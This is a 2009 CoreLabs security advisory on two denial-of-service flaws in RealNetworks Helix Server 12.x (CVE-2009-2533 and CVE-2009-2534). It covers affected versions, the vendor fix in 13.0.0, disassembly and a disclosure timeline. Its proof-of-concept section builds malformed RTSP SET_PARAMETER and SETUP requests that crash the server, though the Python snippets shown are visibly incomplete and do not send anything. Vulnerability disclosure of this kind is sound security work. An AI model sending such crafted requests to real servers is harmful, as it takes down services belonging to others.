Real Helix DNA RTSP and SETUP request handler vulnerabilities

Core Security - CoreLabs
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Real Helix DNA RTSP and SETUP request handler vulnerabilities

Advisory Information

Title: Real Helix DNA RTSP and SETUP request handler vulnerabilities
Advisory ID: CORE-2009-0227
Advisory URL:
Date published: 2009-07-17
Date of last update: 2009-07-17
Vendors contacted: Real Networks
Release mode: Forced release

Vulnerability Information

Class: Denial of service (DoS)
Remotely Exploitable: Yes
Locally Exploitable: No
Bugtraq ID: N/A
CVE Name: CVE-2009-2533, CVE-2009-2534

Vulnerability Description

Helix Server is a multi-format cross-platform streaming server.
Two vulnerabilities have been found, that could allow a remote attacker to crash the Helix Server.

During a RTSP (SET_PARAMETERS) request handling,
if an empty DataConvertBuffer parameter
is received by the server, it will raise an exception reading an invalid direction of memory.
This exception is usually handled correctly but if you
send this malformed request multiple times in a short period of time, it could render the Helix Server
unresponsive and terminate its execution.

During the SETUP request handling, a 0x2F character is searched in the request line,
if this byte is absent the process crashes with an access violation.

Vulnerable packages

  • Helix Server Version 12.x
  • Helix Mobile Server Version 12.x
  • The vulnerabilities were investigated on Helix Server Version (Tahiti) Build 175002/12667

Non-vulnerable packages

  • Helix Server Version 13.0.0
  • Helix Mobile Server Version 13.0.0

Vendor Information, Solutions and Workarounds

According to the Security Update 071409HS
published by RealNetworks:
"The vulnerability is resolved on the following platforms by installing Version 13.0.0 of the Helix Server and the
Helix Mobile Server. This only pertains to supported versions of the platforms listed below.
The updated version will be available on your RealNetworks PAM site after 12:00 am PST, on July 14, 2009."

  • Red Hat Enterprise Linux 4
  • Red Hat Enterprise Linux 5
  • Sun Solaris 10
  • Windows 2003


These vulnerabilities were discovered and researched by Damian Frizza
from Core Security Technologies.

Technical Description / Proof of Concept Code

RTSP request handling Denial of Service (CVE-2009-2533)

The problem arises when the rmserver process receives an RTSP (SET_PARAMETER)
request with no content in the DataConvertBuffer parameter. The handling code reads at the memory location
zero (0) and triggers an exception, which is handled correctly. However sending this malformed request
multiple times renders the rmserver process unresponsive and subsequently stops its execution.

The code section which triggers the exception is:

00458066  |.     C745 08 00000000 MOV DWORD PTR SS:[EBP+8],0          *Sets the content of the local variable to 0
0045806D  |.     8B10             MOV EDX,DWORD PTR DS:[EAX]
0045806F  |.     50               PUSH EAX
00458070  |.     FF52 2C          CALL DWORD PTR DS:[EDX+2C]
00458073  |.     8B45 08          MOV EAX,DWORD PTR SS:[EBP+8]
00458076  |.     8B10             MOV EDX,DWORD PTR DS:[EAX]          * Tries to read form 0 memory location

The following PoC code reproduces the issue:

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

setRequest = "SET_PARAMETER / RTSP/1.0\r\n"
setRequest +="DataConvertBuffer: \r\n\r\n"

for i in range(5):
  print i


The following output is written in the log file:

4068: FATAL ERROR:  The server has run out of memory!
FATAL ERROR:  Last request was rounded up to 1155072 bytes
FATAL ERROR:  Server Terminated

Malformed SETUP command handling Denial of Service (CVE-2009-2534)

The problem arises when the SETUP request is handled and
the byte 0x2F is absent in the request line. While handling
this kind of malformed request the server crashes with an access violation.

The code section which triggers the access violation is:

0047A490  |.     6A 2F            PUSH 2F
0047A492  |.     56               PUSH ESI
0047A493  |.     FF15 08425100    CALL DWORD PTR DS:[<&MSVCR71.strchr>]    ; MSVCR71.strchr        

if only the "/" (0x2F) character is sent, the program tries to copy from 0 and the access violation
exception is raised.

0047A490  |.     6A 2F            PUSH 2F
0047A492  |.     56               PUSH ESI
0047A493  |.     FF15 08425100    CALL DWORD PTR DS:[<&MSVCR71.strchr>]    ; MSVCR71.strchr

The following code reproduces the issue:

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

setRequest = "SETUP / RTSP/1.0\r\n\r\n"


Report Timeline

  • 2009-03-04:
    Core Security Technologies notifies RealNetworks of the vulnerability.
    Core initially schedules publication of its advisory to April 6th, 2009.
  • 2009-03-16:

    Core notifies again RealNetworks of the vulnerability.
  • 2009-03-16:

    RealNetworks identifies the vulnerability alert as SPAM.
  • 2009-03-20:

    The RealNetworks team asks Core for a technical description of the vulnerability.
  • 2009-03-23:

    Technical details sent to RealNetworks team by Core. RealNetworks acknowledges reception.
  • 2009-03-30:

    Core requests information about the plans of RealNetworks to fix the vulnerabilities.
  • 2009-03-30:

    RealNetworks responds that fixes will be included in the next public release -
    currently targeted for July 2009.
  • 2009-05-04:

    Core requests RealNetworks a technical analysis of the vulnerabilities,
    a list of the affected versions of Helix Server,
    and a detailed timelime for developing, testing and releasing fixes for
    these vulnerabilities.
    It is only based on that information that Core
    can reevaluate its advisory publication timeframe (which was originally
    scheduled to be published on April 6).
  • 2009-05-05:

    RealNetworks responds that
    fixes will be available in mid-2009, most likely in the July time frame,
    and that to protect its customer base RealNetworks will not provide additional details
    until the release is publicly available.
  • 2009-05-05:

    Core requests a more precise estimation for the release of fixes (no reply received).
  • 2009-05-29:

    Core requests again RealNetworks an estimated date for the release of fixes,
    and technical details about the issues.
    In the meantime, the publication of advisory CORE-2009-0227 is rescheduled for July 15th (no reply received).
  • 2009-07-16:

    An updated version of the advisory was sent to RealNetworks by Core.
    Core requests again information about this issue.
  • 2009-07-17:

    Core is made aware that Real Networks has released the Security Update 071409HS

    on July 14th, which states that version 13.0.0 of the Helix Server and the Helix Mobile Server have been
    updated to ensure that the above vulnerabilities have been resolved.
  • 2009-07-17:

    The advisory CORE-2009-0227 is published by Core.


[1] RealNetworks

RealNetworks Security Update 071409HS

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the most comprehensive product for performing enterprise security
assurance testing. CORE IMPACT evaluates network, endpoint and end-user
vulnerabilities and identifies what resources are exposed. It enables
organizations to determine if current security investments are detecting
and preventing attacks. Core Security Technologies augments its leading technology solution
with world-class security consulting services, including penetration
testing and software security auditing. Based in Boston, MA and Buenos
Aires, Argentina, Core Security Technologies can be reached at 617-399-6980 or on the Web


The contents of this advisory are copyright (c) 2009 Core Security Technologies and
(c) 2009 CoreLabs, and may be distributed freely provided
that no fee is charged for this distribution and proper credit is given.


This advisory has been signed with the GPG key of Core Security Technologies advisories
team, which is available for download at